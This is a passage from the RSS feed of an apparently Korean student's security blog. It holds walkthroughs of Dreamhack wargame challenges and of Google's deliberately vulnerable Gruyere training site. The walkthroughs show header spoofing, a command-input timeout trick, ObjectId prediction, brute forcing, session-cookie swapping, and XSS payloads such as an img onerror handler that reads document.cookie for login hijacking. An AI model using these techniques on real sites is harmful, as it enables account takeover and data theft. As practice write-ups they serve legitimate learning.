        if doc[&#39;classification&#39;] == &#39;public&#39;:
            visible_docs.append({&#39;id&#39;: doc_id, &#39;title&#39;: doc[&#39;title&#39;], &#39;classification&#39;: doc[&#39;classification&#39;]})
        elif doc[&#39;classification&#39;] == &#39;internal&#39; and user_level != &#39;guest&#39;:
            visible_docs.append({&#39;id&#39;: doc_id, &#39;title&#39;: doc[&#39;title&#39;], &#39;classification&#39;: doc[&#39;classification&#39;]})
        elif doc[&#39;classification&#39;] == &#39;confidential&#39; and user_level == &#39;admin&#39;:
            visible_docs.append({&#39;id&#39;: doc_id, &#39;title&#39;: doc[&#39;title&#39;], &#39;classification&#39;: doc[&#39;classification&#39;]})
        if len(visible_docs) &gt;= SHOW_COUNT:
            break

    return jsonify(visible_docs)</code></pre>
<p>문서들의 정보를 볼 수 있는 페이지다.</p>
<hr>
<h2 id="풀이">풀이</h2>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/e304f0f4-5153-46bf-8e53-ac6a0a39c212/image.png" alt=""></p>
<p><code>/api/docs</code>로 가는 패킷을 잡아서 <code>X-user: admin</code>을 추가했다.</p>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/ecd3f044-02ac-4e69-b6b4-fa27a3b3485e/image.png" alt=""></p>
<p>960번 문서가 <code>flag</code> 문서라는 것을 알 수 있다.</p>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/ae6cc090-8b46-463d-af43-6142abaae035/image.png" alt=""></p>
<p>다시 <code>/share</code>로 돌아와서 아무 문서나 클릭하고 이렇게 패킷을 고쳐준다.</p>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/b57f2da3-ec75-4afe-a3f5-bb978ffb734d/image.png" alt=""></p>
<p>다시 오는 패킷도 똑같이 수정해준다.</p>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/2e4ed3d0-2a23-43c7-a1e4-e5e14341fcc3/image.png" alt=""></p>
<p><code>flag</code>를 찾았다!</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[드림핵 BypassIF 풀이]]></title>
            <link>https://velog.io/@junnyontop-pixel/%EB%93%9C%EB%A6%BC%ED%95%B5-BypassIF-%ED%92%80%EC%9D%B4</link>
            <guid>https://velog.io/@junnyontop-pixel/%EB%93%9C%EB%A6%BC%ED%95%B5-BypassIF-%ED%92%80%EC%9D%B4</guid>
            <pubDate>Tue, 21 Jul 2026 12:49:47 GMT</pubDate>
            <description><![CDATA[<h2 id="문제-설명">문제 설명</h2>
<p>문제  링크 : <a href="https://dreamhack.io/wargame/challenges/1151">https://dreamhack.io/wargame/challenges/1151</a></p>
<p>문제 설명
Description
Admin의 KEY가 필요합니다! 알맞은 KEY값을 입력하여 플래그를 획득하세요.</p>
<p>플래그 형식은 DH{...} 입니다.</p>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/a9eeb39f-4595-4932-a427-9e4350fcef18/image.png" alt=""></p>
<p>이렇게 키를 넣어볼 수 있는 서비스 였다.</p>
<h2 id="소스코드-보기">소스코드 보기</h2>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/e0443638-6f10-4555-8ffe-dff5ee1ba7b5/image.png" alt=""></p>
<p>이 코드를 보면 <code>cmd</code>가 비어있지 않기만 하면 내부 블록으로 진입할 수 있다.
그리고 타임아웃 예외처리를 통해 키를 얻을 수 있다.</p>
<h2 id="풀이">풀이</h2>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/97f64850-9b94-47db-94d0-249fc69f55e5/image.png" alt=""></p>
<p><code>burp suite</code>를 사용해 <code>cmd_input=sleep 6</code>를 입력하고 조금 뒤, 화면에 <code>key</code>가 출력됬다.</p>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/1a2b9506-9f12-4cc1-b66f-5df949749405/image.png" alt=""></p>
<p>그 키를 다시 입력하고 <code>submit</code> 버튼을 누르면,</p>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/d4ea4733-b50e-4dfa-8bef-75455306204a/image.png" alt=""></p>
<p><code>flag</code>가 나온다!</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[드림핵 mongoboard 풀이]]></title>
            <link>https://velog.io/@junnyontop-pixel/%EB%93%9C%EB%A6%BC%ED%95%B5-mongoboard-%ED%92%80%EC%9D%B4</link>
            <guid>https://velog.io/@junnyontop-pixel/%EB%93%9C%EB%A6%BC%ED%95%B5-mongoboard-%ED%92%80%EC%9D%B4</guid>
            <pubDate>Sun, 19 Jul 2026 05:11:45 GMT</pubDate>
            <description><![CDATA[<h2 id="사이트-분석">사이트 분석</h2>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/116b0eea-f5ce-4d7a-b580-99893c295de4/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/82ca8fd7-7df9-43cb-ba2b-48a56f9a560f/image.png" alt=""></p>
<p>이렇게 글을 쓰고 조회해 볼 수 있는 게시판인듯 하다.</p>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/cbc8fcdf-257e-4a71-a688-70cb5d8c1d3e/image.png" alt=""></p>
<p><code>FLAG</code>라고 되어있는 글은 조회 할 수 없었다.</p>
<h2 id="소스코드-분석">소스코드 분석</h2>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/f128700f-e93b-408d-8e11-c61f21ca1dbe/image.png" alt=""></p>
<p>코드를 보니 이렇게 <code>secret</code> 글은 <code>_id</code> 값이 <code>null</code>로 되어있는듯 하다.</p>
<p>그래서 일단 <code>/api/board</code> 주소로 들어가봤다.</p>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/e4c4648a-208d-4801-a3ac-d59aef3b2dc8/image.png" alt=""></p>
<p>이렇게 역시나 <code>secret</code> 글은 <code>_id</code>가 <code>null</code>인 것을 볼 수 있다.</p>
<p>그래서 소스코드를 다시 한번 봐 보니</p>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/62f8e0dc-7ea9-4d92-96ce-fc6a519de3a0/image.png" alt=""></p>
<p>이렇게 <code>/api/board/:board_id</code>로 접속을 하면 내용을 인증없이 띄워주는 코드를 찾았다.</p>
<h2 id="mongodb-objectid-생성-규칙">MongoDB ObjectId 생성 규칙</h2>
<p><code>MongoDb</code>는 <code>ObjectID</code>를 생성할때 규칙이 있었다.</p>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/03c4e8d5-946d-4bac-a945-c28f8d6730f4/image.png" alt=""></p>
<p>그러면 뒷자리 6글자만 분석하여 추론하면 된다.</p>
<p>그럼 뒷자리가 모두
<code>820047</code>
<code>820048</code>
<code>FLAG</code>
<code>82004a</code></p>
<p>그럼 <code>FLAG</code>에 들어갈 수는 <code>820049</code>이다.</p>
<h2 id="풀이">풀이</h2>
<p>이렇게 앞에 말한 방식으로 <code>ObjectID</code>를 만들면
<code>6a5c55224046d4dc8f820049</code>이 된다.</p>
<p>이렇게 <code>/api/board/6a5c55224046d4dc8f820049</code>에 접속하면</p>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/edfd751b-b234-4145-a955-b42ad42efc1a/image.png" alt=""></p>
<p><code>FLAG</code>가 나온다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[드림핵 random-test 풀이]]></title>
            <link>https://velog.io/@junnyontop-pixel/%EB%93%9C%EB%A6%BC%ED%95%B5-random-test-%ED%92%80%EC%9D%B4</link>
            <guid>https://velog.io/@junnyontop-pixel/%EB%93%9C%EB%A6%BC%ED%95%B5-random-test-%ED%92%80%EC%9D%B4</guid>
            <pubDate>Sun, 19 Jul 2026 03:33:53 GMT</pubDate>
            <description><![CDATA[<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/7f5bda96-623b-4dc8-93de-01e2bbd75016/image.png" alt=""></p>
<h2 id="소스코드-뜯어보기">소스코드 뜯어보기</h2>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/00115109-445d-4116-bb2b-787520a8d4c2/image.png" alt="">
사물함 번호는 영어 소문자, 숫자포함 4자리 문자열이고,
비밀번호는 100이상 200이하의 무작위 숫자다.</p>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/d2e87891-b79c-40ea-bed6-f78e4238d1ca/image.png" alt="">
여기서 사물함 번호의 어느 글자까지 맞는지 알려주는 취약점이 있어서
<code>burp suite</code>로 브루트 포스 공격을 해서 한 글자씩 사물함 번호를 알아내면 될거같다.</p>
<h2 id="사물함-번호-알아내기">사물함 번호 알아내기</h2>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/cb6f9de9-fdf9-4834-81f4-ace02c0f21ee/image.png" alt=""></p>
<p>사물함 번호를 일단 아무렇게나 입력해서 패킷을 잡는다.
<code>attack type</code>을 <code>sniper attack</code>으로 설정하고
<code>payload type</code>을 <code>brute focer</code>로 설정한다.</p>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/57034f79-be94-4b3f-97ed-4bea2ffa4b1a/image.png" alt="">
알파벳 <code>m</code>이 길이가 혼자 <code>1951</code>로 다르다.</p>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/acf77de1-4c71-4b38-b5ed-4a4f8afcaad1/image.png" alt="">
이런 방식으로 나머지 3개의 글자도 모두 구한다.</p>
<h2 id="비밀번호-알아내기">비밀번호 알아내기</h2>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/535a1a53-6c27-435c-b1c0-9c817f07020a/image.png" alt="">
<code>payload</code>설정을 이렇게 하고 <code>start attack</code> 버튼을 누른다.</p>
<h2 id="해결">해결</h2>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/407cae59-2617-402d-90ec-e782fc330497/image.png" alt=""></p>
<p>길이가 다른 패킷을 발견했다.</p>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/077847fc-0192-485a-84be-0fd51c4d0f65/image.png" alt=""></p>
]]></description>
        </item>
        <item>
            <title><![CDATA[드림핵 session-basic 풀이]]></title>
            <link>https://velog.io/@junnyontop-pixel/%EB%93%9C%EB%A6%BC%ED%95%B5-session-basic-%ED%92%80%EC%9D%B4</link>
            <guid>https://velog.io/@junnyontop-pixel/%EB%93%9C%EB%A6%BC%ED%95%B5-session-basic-%ED%92%80%EC%9D%B4</guid>
            <pubDate>Fri, 17 Jul 2026 12:19:49 GMT</pubDate>
            <description><![CDATA[<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/20aa564a-adb9-47e1-a49a-d39f536402c9/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/f68aa9fe-1781-4014-8132-67d207775d23/image.png" alt=""></p>
<p>솔직히 여기서 뭘 하라는건지 잘 모르겠다.</p>
<h2 id="소스코드-뜯어보기">소스코드 뜯어보기</h2>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/cd16e0e4-685b-4ae6-8d92-4b30ed7603a6/image.png" alt="">
<del>음 이게 뭐지?</del>
<code>get</code>,<code>post</code> 검사도 안하고 <code>session_storage</code>를 리턴하고있다.</p>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/343700f5-e354-457c-95f7-7d4e934c4480/image.png" alt=""></p>
<p>이 세션을 복사해두고 <code>burp suite</code>에서 변조해서 넣으면 될거같다.</p>
<h2 id="burp-suite로-세션-변조하기">burp suite로 세션 변조하기</h2>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/aaa8f4cd-f5ac-4bdf-9f64-8c4f5cdb9211/image.png" alt=""></p>
<p><code>guest</code>로 로그인을 하고 온 패킷을 확인해본다.</p>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/49eafeb6-741e-4b06-9e16-06cba62f4eb0/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/9dbc2380-4a2b-417c-86ae-0cd1c584342c/image.png" alt=""></p>
<p>여기서 <code>Cookie: sessionid</code>부분에서 <code>sessionid</code>를 아까 복사해둔 <code>admin</code>의 <code>sessionid</code>로 변조하면?</p>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/21e5c421-4760-4168-9585-1d51d2d89645/image.png" alt=""></p>
<p><code>flag</code>가 나온다</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[gruyere 해킹해보기 2편]]></title>
            <link>https://velog.io/@junnyontop-pixel/gruyere-%ED%95%B4%ED%82%B9%ED%95%B4%EB%B3%B4%EA%B8%B0-2%ED%8E%B8</link>
            <guid>https://velog.io/@junnyontop-pixel/gruyere-%ED%95%B4%ED%82%B9%ED%95%B4%EB%B3%B4%EA%B8%B0-2%ED%8E%B8</guid>
            <pubDate>Fri, 13 Feb 2026 13:08:22 GMT</pubDate>
            <description><![CDATA[<h2 id="서론">서론</h2>
<p>본격적으로 <a href="https://google-gruyere.appspot.com/part2">문서</a>를 보면서 실습하다 보니 <code>Reflected XSS via AJAX</code>라는 내용이 있었다.</p>
<h4 id="ajax란">AJAX란?</h4>
<ul>
<li><p><code>Ajax는 Asynchronous JavaScript And XML&#39; 또는 &#39;Asynchronous JavaScript transfer (x-fer)&#39;의 약자이다. 말 그대로 JavaScript와 XML 형식을 이용한 비동기적 정보 교환 기법이다.</code> - 나무위키</p>
</li>
<li><p>그냥 페이지 전체를 새로고침하지 않고 데이터만 슥 바꾸는 방법이라고 보면 된다.</p>
</li>
</ul>
<hr>
<h3 id="ajax가-사용되는-곳-찾기">AJAX가 사용되는 곳 찾기</h3>
<p>다시 <a href="https://google-gruyere.appspot.com/">gruyere</a>에 들어가서 <code>계정생성</code>,<code>로그인</code>을 해준다.</p>
<blockquote>
<p>그냥 페이지 전체를 새로고침하지 않고 데이터만 슥 바꾸는 방법이라고 보면 된다.</p>
</blockquote>
<p>이걸 보면 딱봐도 글 <code>삭제</code>,<code>추가</code>에 사용될거 같다.</p>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/020d428f-e004-474e-a340-fe2c01b48f9a/image.png" alt="">
이렇게 글을 하나 작성해주고
콘솔창을 열어서 저 <code>[X]</code>버튼을 찍어보면</p>
<pre><code class="language-html">&lt;a href=&quot;/469790294992189573147013988367009809944/deletesnippet?index=0&quot;&gt;[X]&lt;/a&gt;</code></pre>
<p><code>/deletesnippet</code>이걸로 글을 삭제하고 <code>?index=0</code>이걸로 어느 글을 삭제할지 정하는거 같다 <code>index=0</code>의 의미는 데이터가 리스트 같은데에 저장돼 있는데 그 인덱스 번호를 뜻하는거 같다.</p>
<p>여기서 <code>?index=0</code>을 <code>?index=&lt;script&gt;alert(&quot;xss&quot;)&lt;/script&gt;</code>이렇게 바꿔보면</p>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/09472a8b-b04d-4cf3-abe5-64224741fc82/image.png" alt="">
이렇게 팝업이 잘 뜨는것을 볼 수 있다.</p>
<hr>
<h2 id="관련-링크">관련 링크</h2>
<ul>
<li><a href="https://google-gruyere.appspot.com/">https://google-gruyere.appspot.com/</a></li>
<li><a href="https://google-gruyere.appspot.com/part2">https://google-gruyere.appspot.com/part2</a></li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[구글 gruyere 해킹해보기 1편]]></title>
            <link>https://velog.io/@junnyontop-pixel/%EA%B5%AC%EA%B8%80-gruyere-%ED%95%B4%ED%82%B9%ED%95%B4%EB%B3%B4%EA%B8%B0-1%ED%8E%B8</link>
            <guid>https://velog.io/@junnyontop-pixel/%EA%B5%AC%EA%B8%80-gruyere-%ED%95%B4%ED%82%B9%ED%95%B4%EB%B3%B4%EA%B8%B0-1%ED%8E%B8</guid>
            <pubDate>Fri, 13 Feb 2026 11:38:45 GMT</pubDate>
            <description><![CDATA[<h3 id="서론">서론</h3>
<p>이론만 막 배우니 머리에 들어오는게 없는거 같아 찾아본게 이 <a href="https://google-gruyere.appspot.com/">gruyere</a>이다.
앞에 나오는 이상한 영어들은 일찌감치 집어치우고 실습부터 했다.</p>
<h3 id="시작">시작</h3>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/b6b6def7-d84d-4371-9c9e-51a54c7c7bca/image.png" alt="">
먼저 들어가니 이런 사이트가 있었다.
밑으로 내려가서 <code>Continue &gt;&gt;</code>버튼을 누르고 들어가니
<img src="https://velog.velcdn.com/images/junnyontop-pixel/post/5af6649e-4456-4f21-b8e3-43501e27d8c0/image.png" alt="">
또 이런 영어들이 나를 반겨주는데 앞에서 말했듯이 집어치우고
<code>https://google-gruyere.appspot.com/start</code>를 눌러 본격적으로 시작한다.</p>
<hr>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/168435e6-74b5-417c-b222-8600dfe12669/image.png" alt="">
이렇게 게시판같은 페이지가 뜨는데 일단 로그인부터 해보자.</p>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/c533ba88-4502-4bb1-bcd3-31603197f174/image.png" alt="">
회원가입창에서 가입을 해주고</p>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/e07fb272-320c-49bd-ad76-ca50ad850fdd/image.png" alt="">
로그인을 한다.</p>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/e9cb2ff6-cf76-46ea-bbba-dbf2ae63ded2/image.png" alt="">
로그인을 해주면 이런 화면이 뜨는걸 볼 수 있다.
그리고 시작부터 gruyere의 허술함이 들어난다.
<code>https://google-gruyere.appspot.com/469790294992189573147013988367009809944/login?uid=junnyontop-pixel&amp;pw=124QWEasd</code>
이렇게 <code>url</code>에 <code>id</code>와 <code>pw</code>노출시킨 것이다.</p>
<p>위에 <code>newSnippet</code>을 눌러보니 게시글을 올릴 수 있는거 같다.
<code>Limited HTML is now supported in snippets (e.g., &lt;b&gt;, &lt;i&gt;, etc.)!</code>이렇게 <code>html</code>태그를 허용해주는거 같다.
그래서 바로 <code>script</code>태그로 테스트 해보니 <code>script</code>태그는 안먹히는거 같다.</p>
<hr>
<p>차례로 <code>My Snippets</code>을 눌러주니
<code>https://google-gruyere.appspot.com/469790294992189573147013988367009809944/snippets.gtl</code>주소가 이렇게 생겼다.
혹시나 <code>https://google-gruyere.appspot.com/469790294992189573147013988367009809944/snippets.gtl?uid=</code>이렇게 아무거나 찍어 보니</p>
<p><code>https://google-gruyere.appspot.com/469790294992189573147013988367009809944/snippets.gtl?uid=cheddar</code>
여기서</p>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/4e6961be-8cd5-41a8-8230-51e1386e1d50/image.png" alt="">
이렇게 다른 사람의 게시글을 훔쳐볼 수 있었다.</p>
<p><code>?uid=cheddar</code>이걸 유용하게 써먹을 수 있을듯 하다.</p>
<hr>
<p>혹시 관리자의 글도 볼 수 있을까 싶어,
<code>?uid=admin</code>,<code>?uid=Admin</code>이런걸 시도해 보니
대소문자 구분은 안하는거 같고 많은 걸 시도해 보던 도중...</p>
<p><code>?uid=administrator</code>이걸 시도해보면
주소창은 <code>https://google-gruyere.appspot.com/469790294992189573147013988367009809944/snippets.gtl?uid=administrator</code>인데</p>
<p>화면엔
<img src="https://velog.velcdn.com/images/junnyontop-pixel/post/d748bdd7-89b2-478b-8762-4e360507da74/image.png" alt="">
<code>Admin</code>으로 표시되어있다.</p>
<p>뭔가 힌트를 얻은거 같지만 관리자의 게시글을 훔쳐볼순없었다.</p>
<hr>
<p>다음으로 옆에있는 Profile을 누르니
<img src="https://velog.velcdn.com/images/junnyontop-pixel/post/d5f06946-a069-4988-8d23-c83073ebd415/image.png" alt="">
이렇게 프로필을 수정할 수 있었다.</p>
<p><code>https://google-gruyere.appspot.com/469790294992189573147013988367009809944/editprofile.gtl</code>여긴 주소가 이런데 아까 봤던 그걸 사용해 보자.</p>
<p><code>https://google-gruyere.appspot.com/469790294992189573147013988367009809944/editprofile.gtl?uid=cheddar</code></p>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/dad1897d-9ac6-4732-ac09-81d91556f47e/image.png" alt="">
역시 맞았다!
이걸로 다른사람의 프로필도 수정할 수 있다.</p>
<p>그리고 여기에 <code>Private Snippet</code>이란 항목이 있다.
여기에 <code>uid=administrator</code>를 사용해보면 게시글을 볼 수 있을지도 모른다.</p>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/ae9628d3-e6ab-4a8c-a968-29cdd04b417a/image.png" alt="">
성공이다.
추가로 <code>My password is secret. Get it?</code>라는 정보도 획득했다.
이 정보에 따르면 관리자의 <code>pw</code>는<code>secret</code>같다.</p>
<hr>
<p>로그아웃을 해주고
로그인 창에서 <code>User name:administrator</code>,<code>Password:secret</code>으로 작성해주니
관리자로 로그인을 성공했다!</p>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/4f77b832-eba9-4c1c-95c8-75598e93b33e/image.png" alt="">
관리자로 로그인한 상태의 페이지이다.</p>
<p>이제 <code>xss</code>공격을 해볼거다.
아까 html태그를 허용했지만 <code>script</code>태그는 안되던 <code>New Snippet</code>을 클릭하고,</p>
<pre><code class="language-html">&lt;img src=&quot;&quot; onerror=&quot;alert(&#39;xss&#39;)&quot;&gt;</code></pre>
<p>이렇게 작성해주면</p>
<p><code>You are not an author.</code>라고 뜨면서 안된다.
<code>Profile</code>에 들어가면
<img src="https://velog.velcdn.com/images/junnyontop-pixel/post/1541cbec-24be-409e-96d9-aae4a0035a58/image.png" alt="">
이렇게 선택지가 더 생긴걸 볼 수 있다.</p>
<p><code>Is author</code>을 Yes로 변경해주고 다시 작성해주면
<img src="https://velog.velcdn.com/images/junnyontop-pixel/post/b57d08f9-a72b-4761-aed0-cfe6ea8c527e/image.png" alt="">
잘 뜨는것을 볼 수 있다.</p>
<hr>
<p>추가로 쿠키까지 가져가 비밀번호 없이 로그인하는 것 까지 해보겠다.</p>
<pre><code class="language-html">&lt;img src=&quot;&quot; onerror=&quot;alert(&#39;쿠키: &#39; + document.cookie);&quot;&gt;</code></pre>
<p>아까처럼 스니펫에 이걸 추가하면</p>
<p><code>GRUYERE=31131337|administrator|admin|; GRUYERE_ID=404477456041413703389788683660411129398</code>
쿠키가 나온다 이렇게 나온 쿠키를</p>
<p>로그아웃 후,</p>
<pre><code class="language-js">document.cookie = &quot;GRUYERE=31131337|administrator|admin|&quot;;</code></pre>
<p>콘솔창에 입력하면 로그인이 된다.</p>
<hr>
<h2 id="💡-이번-실습으로-배운-점">💡 이번 실습으로 배운 점</h2>
<ol>
<li><strong>파라미터는 믿을 게 못 된다:</strong> 클라이언트가 보내는 <code>uid</code> 같은 값은 누구나 수정할 수 있으므로, 서버에서 반드시 세션 기반의 검증을 거쳐야 한다.</li>
<li><strong>비밀번호 힌트의 위험성:</strong> 관리자라면 유추하기 쉬운 비밀번호나 힌트를 남기지 말아야 한다.</li>
<li><strong>XSS의 위력:</strong> <code>script</code> 태그가 막혔더라도 <code>onerror</code> 같은 이벤트 핸들러를 통해 얼마든지 공격이 가능하다는 것을 깨달았다.</li>
</ol>
]]></description>
        </item>
    </channel>
</rss>